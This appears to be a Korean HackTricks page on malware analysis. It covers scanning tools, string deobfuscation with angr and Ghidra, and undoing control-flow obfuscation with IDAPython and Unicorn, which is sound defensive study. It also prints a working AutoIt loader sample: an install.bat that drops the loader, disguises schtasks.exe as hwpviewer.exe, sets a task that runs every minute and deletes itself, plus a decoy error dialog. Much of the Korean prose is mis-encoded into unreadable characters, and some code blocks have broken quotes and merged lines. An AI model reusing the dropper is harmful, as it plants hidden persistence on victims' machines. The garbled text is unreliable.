์ ์ฑ์ฝ๋ ๋ถ์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
ํฌ๋ ์ ์นํธ์ํธ
https://www.jaiminton.com/cheatsheet/DFIR/#
์จ๋ผ์ธ ์๋น์ค
์คํ๋ผ์ธ ์ํฐ๋ฐ์ด๋ฌ์ค ๋ฐ ํ์ง ๋๊ตฌ
Yara
์ค์น
sudo apt-get install -y yara
๊ท์น ์ค๋น
์ด ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ์ฌ github์์ ๋ชจ๋ yara malware ๊ท์น์ ๋ค์ด๋ก๋ํ๊ณ ๋ณํฉํ์ธ์: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\
rules ๋๋ ํฐ๋ฆฌ๋ฅผ ์์ฑํ๊ณ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ธ์. ๊ทธ๋ฌ๋ฉด ๋ชจ๋ yara ๊ท์น์ ํฌํจํ malware_rules.yar ํ์ผ์ด ์์ฑ๋ฉ๋๋ค.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scan
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: malware ๊ฒ์ฌ ๋ฐ yara rules ์์ฑ
์ด ๋๊ตฌ YaraGen๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐ์ด๋๋ฆฌ์์ yara rules๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ๋ค์ ํํ ๋ฆฌ์ผ์ ํ์ธํ์ธ์: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
์ค์น
sudo apt-get install -y clamav
์ค์บ
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa๋ ์คํ ํ์ผ(PE, ELF, .NET)์์ ์ ์ฌ์ ์ผ๋ก ์ ์ฑ์ผ ์ ์๋ ๊ธฐ๋ฅ์ ํ์งํฉ๋๋ค. ๋ฐ๋ผ์ Att&ck tactics์ ๊ฐ์ ํญ๋ชฉ์ด๋ ๋ค์๊ณผ ๊ฐ์ ์์ฌ์ค๋ฌ์ด ๊ธฐ๋ฅ๋ค์ ์ฐพ์ต๋๋ค:
- OutputDebugString ์ค๋ฅ ํ์ธ
- ์๋น์ค๋ก ์คํ
- ํ๋ก์ธ์ค ์์ฑ
๋ค์ด๋ก๋: Github repo.
IOCs
IOC๋ Indicator Of Compromise์ ์ฝ์์
๋๋ค. IOC๋ ์ ์ฌ์ ์ผ๋ก ์์น ์๋ ์ํํธ์จ์ด๋ ํ์ ๋ malware๋ฅผ ์๋ณํ๋ ์กฐ๊ฑด๋ค์ ์งํฉ์
๋๋ค. Blue Teams๋ ์ด๋ฌํ ์ ์๋ฅผ ์ฌ์ฉํด ์์ ๋ค์ systems ๋ฐ networks์์ ์ด๋ฌํ ์ ํ์ ์
์ฑ ํ์ผ์ ์ฐพ์๋
๋๋ค.
์ด๋ฌํ ์ ์๋ฅผ ๊ณต์ ํ๋ ๊ฒ์ ๋งค์ฐ ์ ์ฉํฉ๋๋ค. ํ ์ปดํจํฐ์์ malware๊ฐ ์๋ณ๋์ด ๊ทธ malware์ ๋ํ IOC๊ฐ ์์ฑ๋๋ฉด, ๋ค๋ฅธ Blue Teams๊ฐ ์ด๋ฅผ ์ฌ์ฉํด malware๋ฅผ ๋ ๋น ๋ฅด๊ฒ ์๋ณํ ์ ์์ต๋๋ค.
IOC๋ฅผ ์์ฑํ๊ฑฐ๋ ์์ ํ๋ ๋๊ตฌ๋ก๋ IOC Editor๊ฐ ์์ต๋๋ค.
๋ํ Redline๊ณผ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์ฅ์น์์ ์ ์๋ IOC๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค.
Loki
Loki ๋ Simple Indicators of Compromise์ฉ ์ค์บ๋์
๋๋ค.
ํ์ง๋ ๋ค ๊ฐ์ง ํ์ง ๋ฐฉ๋ฒ์ ๊ธฐ๋ฐํฉ๋๋ค:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD)์ GNU GPLv2 ๋ผ์ด์ ์ค๋ก ๋ฐฐํฌ๋๋ Linux์ฉ malware ์ค์บ๋๋ก, ๊ณต์ ํธ์คํ ํ๊ฒฝ์์ ์ง๋ฉดํ๋ ์ํ์ ์ค์ฌ์ผ๋ก ์ค๊ณ๋์์ต๋๋ค. ์ด๋ ๋คํธ์ํฌ ์์ง ์นจ์ ํ์ง ์์คํ ์ผ๋ก๋ถํฐ์ ์ํ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํด ๊ณต๊ฒฉ์ ์ค์ ๋ก ์ฌ์ฉ๋๋ malware๋ฅผ ์ถ์ถํ๊ณ ํ์ง๋ฅผ ์ํ ์๊ทธ๋์ฒ๋ฅผ ์์ฑํฉ๋๋ค. ๋ํ ์ํ ๋ฐ์ดํฐ๋ LMD์ checkout ๊ธฐ๋ฅ์ ํตํ ์ฌ์ฉ์ ์ ์ถ๊ณผ malware ์ปค๋ฎค๋ํฐ ๋ฆฌ์์ค์์๋ ํ์๋ฉ๋๋ค.
rkhunter
rkhunter ๊ฐ์ ๋๊ตฌ๋ ํ์ผ ์์คํ ์์ ๊ฐ๋ฅํ rootkits ๋ฐ malware๋ฅผ ๊ฒ์ฌํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS ๋ ๋ค์ํ ๊ธฐ๋ฒ์ ์ฌ์ฉํด ์คํ ํ์ผ ๋ด๋ถ์ obfuscated ๋ฌธ์์ด์ ์ฐพ์๋ด๋ ค๊ณ ์๋ํ๋ ๋๊ตฌ์ ๋๋ค.
PEpper
PEpper ๋ ์คํ ํ์ผ ๋ด๋ถ์ ๊ธฐ๋ณธ ํญ๋ชฉ๋ค(๋ฐ์ด๋๋ฆฌ ๋ฐ์ดํฐ, entropy, URLs ๋ฐ IPs, ์ผ๋ถ yara ๊ท์น ๋ฑ)์ ๊ฒ์ฌํฉ๋๋ค.
PEstudio
PEstudio ๋ imports, exports, headers์ ๊ฐ์ Windows ์คํ ํ์ผ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ๋ํ virus total์ ์กฐํํ๊ณ ์ ์ฌ์ ์ธ Att&ck ๊ธฐ์ ๋ค์ ์ฐพ์๋ ๋๋ค.
Detect It Easy(DiE)
DiE ๋ ํ์ผ์ด encrypted์ธ์ง ๊ฐ์งํ๊ณ packers๋ฅผ ์ฐพ์๋ด๋ ๋๊ตฌ์ ๋๋ค.
NeoPI
NeoPI ๋ ๋ค์ํ statistical methods๋ฅผ ์ฌ์ฉํด ํ ์คํธ/์คํฌ๋ฆฝํธ ํ์ผ ๋ด์ obfuscated ๋ฐ encrypted ์ฝํ ์ธ ๋ฅผ ํ์งํ๋ Python ์คํฌ๋ฆฝํธ์ ๋๋ค. NeoPI์ ๋ชฉ์ ์ detection of hidden web shell code๋ฅผ ์ง์ํ๋ ๊ฒ์ ๋๋ค.
php-malware-finder
PHP-malware-finder ๋ obfuscated/dodgy code๋ฟ๋ง ์๋๋ผ ์์ฃผ malwares/webshells์์ ์ฌ์ฉ๋๋ PHP ํจ์๋ค์ ์ฌ์ฉํ๋ ํ์ผ๋ค๋ ํ์งํ๋ ค๊ณ ์ต์ ์ ๋คํฉ๋๋ค.
Apple Binary Signatures
์ด๋ค malware sample์ ํ์ธํ ๋์๋, ์๋ช ํ developer๊ฐ ์ด๋ฏธ related๋์ด ์์ ์ ์์ผ๋ฏ๋ก ๋ฐ์ด๋๋ฆฌ์ check the signature๋ฅผ ํญ์ ์ํํด์ผ ํฉ๋๋ค.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the appโs contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
ํ์ง ๊ธฐ๋ฒ
File Stacking
์น ์๋ฒ์ files๋ฅผ ํฌํจํ๋ ์ด๋ค ํด๋๊ฐ last updated on some date์๋ค๋ ๊ฒ์ ์๊ณ ์๋ค๋ฉด, ์น ์๋ฒ์ ๋ชจ๋ files์ ์์ฑ ๋ฐ ์์ date๋ฅผ Checkํ๊ณ ์ด๋ค ๋ ์ง๊ฐ suspiciousํ๋ฉด ํด๋น ํ์ผ์ ํ์ธํ๋ผ.
Baselines
ํด๋์ ํ์ผ๋ค์ด shouldnโt have been modified ๊ฒฝ์ฐ, ํด๋์ original files์ hash๋ฅผ ๊ณ์ฐํ์ฌ current ํ์ผ๋ค๊ณผ compareํ ์ ์๋ค. ๋ณ๊ฒฝ๋ ํญ๋ชฉ์ suspiciousํ๋ค.
Statistical Analysis
๋ก๊ทธ์ ์ ๋ณด๊ฐ ์ ์ฅ๋์ด ์๋ค๋ฉด check statistics like how many times each file of a web server was accessed as a web shell might be one of the most.
Android ์ธ์ฑ ๋ค์ดํฐ๋ธ ํ ๋ ๋ฉํธ๋ฆฌ (no root)
On Android, ๋์ ์ฑ ํ๋ก์ธ์ค ๋ด๋ถ์ native ์ฝ๋๋ฅผ ๋ค๋ฅธ JNI libs๊ฐ ์ด๊ธฐํ๋๊ธฐ ์ ์ ์์ ๋ก๊ฑฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ preloadํจ์ผ๋ก์จ ๊ณ์ธกํ ์ ์๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์์คํ ์ ์ฒด ํ ์ด๋ root ์์ด๋ ๋ค์ดํฐ๋ธ ๋์์ ์กฐ๊ธฐ์ ๊ด์ฐฐํ ์ ์๋ค. ๋ง์ด ์ฌ์ฉ๋๋ ๋ฐฉ๋ฒ์ SoTap: ์ฌ๋ฐ๋ฅธ ABI์ฉ libsotap.so๋ฅผ APK์ ๋ฃ๊ณ ์ด๊ธฐ์ System.loadLibrary(โsotapโ) ํธ์ถ์ ์ฃผ์ (์: static initializer๋ Application.onCreate)ํ ๋ค์ ๋ด๋ถ/์ธ๋ถ ๊ฒฝ๋ก๋ Logcat fallback์์ ๋ก๊ทธ๋ฅผ ์์งํ๋ ๊ฒ์ด๋ค.
See the Android native reversing page for setup details and log paths:
Android/JNI native string deobfuscation with angr + Ghidra
์ผ๋ถ Android ์ ์ฑ์ฝ๋์ RASP๋ก ๋ณดํธ๋ ์ฑ์ RegisterNatives๋ฅผ ํธ์ถํ๊ธฐ ์ ์ ๋ฐํ์์ JNI ๋ฉ์๋ ์ด๋ฆ๊ณผ ์๊ทธ๋์ฒ๋ฅผ ๋์ฝ๋ฉํ์ฌ ์จ๊ธด๋ค. Frida/ptrace ๊ณ์ธก์ด anti-debug์ ์ํด ์ฐจ๋จ๋ ๋์๋, angr๋ก ๋ฐ์ด๋๋ฆฌ ๋ด ๋์ฝ๋๋ฅผ ์คํํ์ฌ ์คํ๋ผ์ธ์์ ํ๋ฌธ์ ๋ณต๊ตฌํ ๋ค ๊ฒฐ๊ณผ๋ฅผ Ghidra์ ์ฃผ์์ผ๋ก ๋ฐ์ํ ์ ์๋ค.
ํต์ฌ ์์ด๋์ด: .so ๋ด๋ถ์ ๋์ฝ๋๋ฅผ ํธ์ถ ๊ฐ๋ฅํ ํจ์๋ก ์ทจ๊ธํ๊ณ .rodata์ ๋๋ ํ๋ ๋ฐ์ดํธ ๋ธ๋กญ์ ๋ํด ์ด๋ฅผ ์คํํ ๋ค์ ์ถ๋ ฅ ๋ฐ์ดํธ๋ฅผ ์ฒซ ๋ฒ์งธ \x00 (C-string terminator)๊น์ง ๊ตฌ์ฒดํ(concretize)ํ๋ค. ์ฃผ์ ๋ถ์ผ์น๋ฅผ ํผํ๋ ค๋ฉด angr์ Ghidra๊ฐ ๋์ผํ image base๋ฅผ ์ฌ์ฉํ๋๋ก ์ ์งํ๋ผ.
Workflow overview
- Ghidra์์ ํธ๋ฆฌ์์ง: JNI_OnLoad ๋ฐ RegisterNatives ์ค์ ์์ ๋์ฝ๋์ ๊ทธ ํธ์ถ ๊ท์ฝ/์ธ์ ํ์ธ.
- angr(CPython3) ์คํ: ๊ฐ ๋์ ๋ฌธ์์ด์ ๋ํด ๋์ฝ๋๋ฅผ ์คํํ๊ณ ๊ฒฐ๊ณผ ๋คํ.
- Ghidra์ ์ฃผ์ ๋ฌ๊ธฐ: ๋น ๋ฅธ JNI ๋ณต์์ ์ํด ๊ฐ ํธ์ถ ์ง์ ์ ๋์ฝ๋ฉ๋ ๋ฌธ์์ด์ ์๋ ์ฃผ์์ผ๋ก ์ถ๊ฐ.
Ghidra ํธ๋ฆฌ์์ง (JNI_OnLoad pattern)
- JNI_OnLoad์ JNI datatypes๋ฅผ ์ ์ฉํ์ฌ Ghidra๊ฐ JNINativeMethod ๊ตฌ์กฐ์ฒด๋ฅผ ์ธ์ํ๋๋ก ํ๋ค.
- Oracle ๋ฌธ์์ ๋ฐ๋ฅธ ์ ํ์ ์ธ JNINativeMethod:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- RegisterNatives ํธ์ถ์ ์ฐพ์๋ผ. ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ๋ก์ปฌ ๋ฃจํด(์: FUN_00100e10)์ ์ฌ์ฉํด name/signature๋ฅผ ๊ตฌ์ฑํ๊ณ ์ ์ ๋ฐ์ดํธ ํ ์ด๋ธ(์: DAT_00100bf4)์ ์ฐธ์กฐํ๋ฉฐ (encoded_ptr, out_buf, length) ๊ฐ์ ์ธ์๋ฅผ ๋ฐ๋๋ค๋ฉด, ๊ทธ๊ฒ์ ์คํ๋ผ์ธ ์คํ์ ์ด์์ ์ธ ๋์์ด๋ค.
angr ์ค์ (๋์ฝ๋ ์คํ๋ผ์ธ ์คํ)
- Ghidra์์ ์ฌ์ฉํ ๊ฒ๊ณผ ๋์ผํ base(์: 0x00100000)๋ก .so๋ฅผ ๋ก๋ํ๊ณ ์ํ๋ฅผ ์๊ฒ ์ ์งํ๊ธฐ ์ํด ์ธ๋ถ libs์ ์๋ ๋ก๋ฉ์ ๋นํ์ฑํํ๋ผ.
angr ์ค์ ๋ฐ ์คํ๋ผ์ธ ๋์ฝ๋ ์คํ
```python import angr, jsonproject = angr.Project( โ/path/to/libtarget.soโ, load_options={โmain_optsโ: {โbase_addrโ: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(bโ\x00โ, 1)[0].decode(โutf-8โ, errors=โignoreโ)
Example: decode a JNI signature at 0x100933 of length 5 โ should be ()[B
print(decode_string(0x00100933, 5))
</details>
- ๋๊ท๋ชจ๋ก๋ call sites๋ฅผ decoder์ ์ธ์ (encoded_ptr, size)๋ก ์ ์ ๋งคํํ์ธ์. Wrappers๊ฐ ์ธ์๋ฅผ ์จ๊ธธ ์ ์์ผ๋ฏ๋ก API recovery๊ฐ ๋ถ์์ ํ๋ฉด Ghidra xrefs์์ ์๋์ผ๋ก ์ด ๋งคํ์ ์์ฑํ ์ ์์ต๋๋ค.
<details>
<summary>angr๋ก ์ฌ๋ฌ call sites๋ฅผ ์ผ๊ด ๋์ฝ๋ฉ</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Ghidra์์ call sites ์ฃผ์ ๋ฌ๊ธฐ Option A: Jython-only comment writer (์ฌ์ ์์ฑ๋ JSON ์ฌ์ฉ)
- angr๊ฐ CPython3๋ฅผ ํ์๋ก ํ๋ฏ๋ก, deobfuscation๊ณผ annotation์ ๋ถ๋ฆฌํ์ธ์. ๋จผ์ ์์ angr ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ฌ decoded_strings.json์ ์์ฑํ์ธ์. ๊ทธ๋ฐ ๋ค์ ์ด Jython GhidraScript๋ฅผ ์คํํ์ฌ ๊ฐ call site์ PRE_COMMENTs๋ฅผ ์์ฑํ๊ณ , ๋ฌธ๋งฅ์ ์ํด caller function name์ ํฌํจํ์ธ์:
decoded JNI strings๋ฅผ ์ฃผ์ ์ฒ๋ฆฌํ๋ Ghidra Jython ์คํฌ๋ฆฝํธ
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(โSelect decoded_strings.jsonโ, โLoadโ) mapping = json.load(open(f.absolutePath, โrโ)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else โ%s @ %sโ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(โ[+] Annotated %d call sitesโ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- ๋์์ผ๋ก, pyhidra ๋๋ ghidra_bridge๋ฅผ ์ฌ์ฉํด angr๋ฅผ ์คํํ๋ ๋์ผํ CPython ํ๋ก์ธ์ค์์ Ghidra์ API๋ฅผ ์กฐ์ํ ์ ์์ต๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด decode_string()์ ํธ์ถํ๊ณ ์ค๊ฐ ํ์ผ ์์ด ์ฆ์ PRE_COMMENT๋ค์ ์ค์ ํ ์ ์์ต๋๋ค. ๋ก์ง์ Jython ์คํฌ๋ฆฝํธ์ ์ ์ฌํฉ๋๋ค: ReferenceManager๋ฅผ ํตํด callsiteโfunction ๋งคํ์ ๊ตฌ์ถํ๊ณ , angr๋ก ๋์ฝ๋ํ ํ ์ฝ๋ฉํธ๋ฅผ ์ค์ ํฉ๋๋ค.
Why this works and when to use it
- Offline ์คํ์ RASP/anti-debug๋ฅผ ํํผํฉ๋๋ค: ๋ฌธ์์ด ๋ณต์์ ์ํด ptrace๋ Frida ํ
์ด ํ์ ์์ต๋๋ค.
- Ghidra์ angr์ base_addr(์: 0x00100000)๋ฅผ ์ผ์น์ํค๋ฉด ํจ์/๋ฐ์ดํฐ ์ฃผ์๊ฐ ๋๊ตฌ ๊ฐ์ ์ผ์นํฉ๋๋ค.
- ๋์ฝ๋์ ๋ํ ๋ฐ๋ณต ๊ฐ๋ฅํ ๋ ์ํผ: ๋ณํ์ ์์ ํจ์๋ก ๊ฐ์ฃผํ๊ณ , ์ state์ ์ถ๋ ฅ ๋ฒํผ๋ฅผ ํ ๋นํ ๋ค (encoded_ptr, out_ptr, len)๋ก ํธ์ถํ๊ณ state.solver.eval๋ก ๊ตฌ์ฒดํํ ๋ค์ \x00๊น์ง์ C-strings๋ฅผ ํ์ฑํฉ๋๋ค.
Notes and pitfalls
- ๋์ ABI/calling convention์ ์ค์ํ์ธ์. angr.factory.callable์ arch์ ๋ฐ๋ผ ํ๋๋ฅผ ์ ํํฉ๋๋ค; ์ธ์๊ฐ ๋ฐ๋ ค ๋ณด์ด๋ฉด cc๋ฅผ ๋ช
์์ ์ผ๋ก ์ง์ ํ์ธ์.
- ๋์ฝ๋๊ฐ 0์ผ๋ก ์ด๊ธฐํ๋ ์ถ๋ ฅ ๋ฒํผ๋ฅผ ๊ธฐ๋ํ๋ฉด, ํธ์ถ ์ ์ state์์ outbuf๋ฅผ 0์ผ๋ก ์ด๊ธฐํํ์ธ์.
- position-independent Android .so์ ๊ฒฝ์ฐ, angr์์์ ์ฃผ์๊ฐ Ghidra์์ ๋ณธ ์ฃผ์์ ์ผ์นํ๋๋ก ํญ์ base_addr๋ฅผ ์ ๊ณตํ์ธ์.
- ์ฑ์ด ์์ ์คํ
๋ค์ ๋์ฝ๋๋ฅผ ์จ๊ฒผ๋๋ผ๋ call-xrefs๋ฅผ ์ด๊ฑฐํ๋ ค๋ฉด currentProgram.getReferenceManager()๋ฅผ ์ฌ์ฉํ์ธ์.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
The technique โ showcased by the SLOW#TEMPEST loader โ can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.
### 1. Locate every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. ๋์คํจ์ฒ ๋ฐ์ดํธ์ฝ๋ ์ถ์ถ
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Unicorn์ผ๋ก ๋ ๋ฒ ์๋ฎฌ๋ ์ดํธํ๊ธฐ
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
run(code,0,0) ๋ฐ run(code,1,1)์ ์คํํ์ฌ false ๋ฐ true ๋ถ๊ธฐ ๋์์ ์ป์ต๋๋ค.
4. ์ง์ jump / call์ ํจ์น๋ก ๋ณต์ํ๊ธฐ
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
ํจ์นํ ํ IDA๊ฐ ํจ์์ ๋ํด ์ฌ๋ถ์ํ๋๋ก ๊ฐ์ ํ์ฌ ์ ์ฒด CFG์ Hex-Rays ์ถ๋ ฅ์ด ๋ณต์๋๋๋ก ํฉ๋๋ค:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. ๊ฐ์ API ํธ์ถ์ ๋ผ๋ฒจ ์ง์
๊ฐ call rax์ ์ค์ ๋ชฉ์ ์ง๊ฐ ํ์ธ๋๋ฉด IDA์ ๊ทธ ๋ชฉ์ ์ง๋ฅผ ์๋ ค ํ๋ผ๋ฏธํฐ ํ์
& ๋ณ์ ์ด๋ฆ์ด ์๋์ผ๋ก ๋ณต์๋๋๋ก ํ ์ ์๋ค:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
์ค์ง์ ์ด์
- ์ค์ CFG๋ฅผ ๋ณต์ โ ๋์ปดํ์ผ ๊ฒฐ๊ณผ๊ฐ 10 ์ค์์ ์์ฒ ์ค๋ก ์ฆ๊ฐํฉ๋๋ค.
- string-cross-reference & xrefs๋ฅผ ๊ฐ๋ฅํ๊ฒ ํ์ฌ ๋์ ์ฌ๊ตฌ์ฑ์ด ๋งค์ฐ ๊ฐ๋จํด์ง๋๋ค.
- ์คํฌ๋ฆฝํธ๋ ์ฌ์ฌ์ฉ ๊ฐ๋ฅ: ๋์ผํ ํธ๋ฆญ์ผ๋ก ๋ณดํธ๋ ๋ชจ๋ loader์ ๋ฃ์ด ์ฌ์ฉ ๊ฐ๋ฅํฉ๋๋ค.
AutoIt ๊ธฐ๋ฐ loaders: .a3x ๋ณตํธํ, Task Scheduler ์์ฅ ๋ฐ RAT ์ฃผ์
์ด ์นจํฌ ํจํด์ ์๋ช ๋ MSI, .a3x๋ก ์ปดํ์ผ๋ AutoIt loaders, ๊ทธ๋ฆฌ๊ณ ์ ์ ์ฑ์ผ๋ก ์์ฅํ Task Scheduler ์์ ์ ์ฐ๊ฒฐํฉ๋๋ค.
MSI โ custom actions โ AutoIt ์ค์ผ์คํธ๋ ์ดํฐ
MSI custom actions์ ์ํด ์คํ๋๋ ํ๋ก์ธ์ค ํธ๋ฆฌ์ ๋ช ๋ น:
- MsiExec.exe โ cmd.exe๊ฐ install.bat๋ฅผ ์คํ
- WScript.exe๊ฐ ๋ฏธ๋ผ์ฉ ์ค๋ฅ ๋ํ์์๋ฅผ ํ์
%SystemRoot%\system32\cmd.exe /c %APPDATA%\์คํธ๋ ์ค ํด๋ฆฌ์ด\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\์คํธ๋ ์ค ํด๋ฆฌ์ด\error.vbs
install.bat (loader ๋๋กญ, persistence ์ค์ , self-cleans):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (์ฌ์ฉ์ ๋ฏธ๋ผ):
MsgBox "ํ์ฌ ์์คํ
์ธ์ดํฉ๊ณผ ํ๋ก๊ทธ๋จ ์ธ์ดํฉ์ด ํธํ๋์ง ์์ ์คํํ ์ ์์ต๋๋ค." & vbCrLf & _
"์ค์ ์์ ํ๊ตญ์ด(๋ํ๋ฏผ๊ตญ) ์ธ์ดํฉ์ ์ค์นํ๊ฑฐ๋ ๋ณ๊ฒฝํ ๋ค ๋ค์ ์คํํด ์ฃผ์ธ์.", _
vbCritical, "์ธ์ดํฉ ์ค๋ฅ"
์ฃผ์ ์ํฐํฉํธ ๋ฐ ์์ฅ:
- AutoIt3.exe ๋ฐ IoKlTr.au3๋ฅผ C:\Users\Public\Music์ ๋๋กญํจ
- schtasks.exe๋ฅผ hwpviewer.exe๋ก ๋ณต์ฌํจ (Hangul Word Processor viewer๋ก ์์ฅ)
- 1๋ถ๋ง๋ค ์คํ๋๋ ์ค์ผ์ค๋ ์์ โIoKlTrโ๋ฅผ ์์ฑํจ
